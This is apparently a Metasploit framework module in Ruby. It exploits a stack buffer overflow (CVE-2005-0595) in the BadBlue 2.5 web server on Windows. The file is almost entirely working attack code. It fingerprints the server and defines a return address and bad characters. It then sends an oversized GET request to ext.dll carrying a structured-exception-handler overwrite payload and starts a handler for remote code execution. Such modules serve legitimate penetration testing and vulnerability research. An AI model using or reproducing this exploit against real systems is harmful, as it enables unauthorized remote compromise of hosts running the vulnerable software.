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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
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  # However, a proper Server header is returned when requesting /index.html or using HEAD.
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  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'BadBlue 2.5 EXT.dll Buffer Overflow',
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      'Description'    => %q{
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        This is a stack buffer overflow exploit for BadBlue version 2.5.
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      },
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      'Author'         => 'acaro <acaro[at]jervus.it>',
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      'License'        => BSD_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-0595' ],
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          [ 'OSVDB', '14238' ],
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          [ 'BID', '7387' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 500,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
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        ],
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      'DisclosureDate' => '2003-04-20',
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      'DefaultTarget'  => 0))
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  end
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  def check
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    info = http_fingerprint  # check method
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    if (info =~ /BadBlue\/2\.5/)
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      return Exploit::CheckCode::Appears
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    uri     = "GET /ext.dll?mfcisapicommand="
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    sploit  = rand_text_alphanumeric(500)
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    seh     = generate_seh_payload(target.ret)
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    sploit[492, seh.length] = seh
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    uri << sploit
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    print_status("Trying target #{target.name}...")
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    send_request_raw({ 'uri' => uri })
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    handler
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  end
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end
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